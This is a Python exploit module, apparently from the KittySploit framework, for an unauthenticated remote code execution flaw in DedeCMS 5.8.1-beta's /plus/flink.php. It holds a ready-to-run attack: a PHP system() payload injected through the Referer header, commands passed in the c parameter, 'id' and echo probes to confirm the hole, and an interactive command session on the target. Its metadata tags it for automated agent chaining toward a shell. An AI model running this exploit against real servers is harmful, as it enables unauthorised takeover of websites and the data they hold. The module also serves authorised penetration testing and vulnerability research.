DedeCMS flink.php RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DedeCMS 5.8.1-beta flink.php variable override RCE — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'DedeCMS flink.php RCE',
        'description': (
            'Exploits DedeCMS 5.8.1-beta variable override via Referer header injection '
            'on /plus/flink.php with the c query parameter. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html',
        ],
        'tags': ['dedecms', 'cms', 'rce', 'unauth', 'variable-override'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['dedecms'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'flink.php Referer override'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/dedecms_rce_detect'],
            },
        },
    }

    base_path = OptString('', 'DedeCMS base path', False, advanced=True)

    _REFERER = '<?php "system"($c);die;/*ref'

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip().rstrip('/')
        return base

    def execute(self, cmd: str) -> str:
        inj = quote(str(cmd), safe='')
        path = f'{self._prefix()}/plus/flink.php?dopost=save&c={inj}'
        r = self.http_request(
            method='GET',
            path=path,
            headers={'Referer': self._REFERER},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'DedeCMS flink.php RCE confirmed via id',
                'confidence': 'high',
            }
        token = self.random_text(8)
        if token in (self.execute(f'echo {token}') or ''):
            return {
                'vulnerable': True,
                'reason': 'DedeCMS flink.php RCE confirmed via echo probe',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'flink.php did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()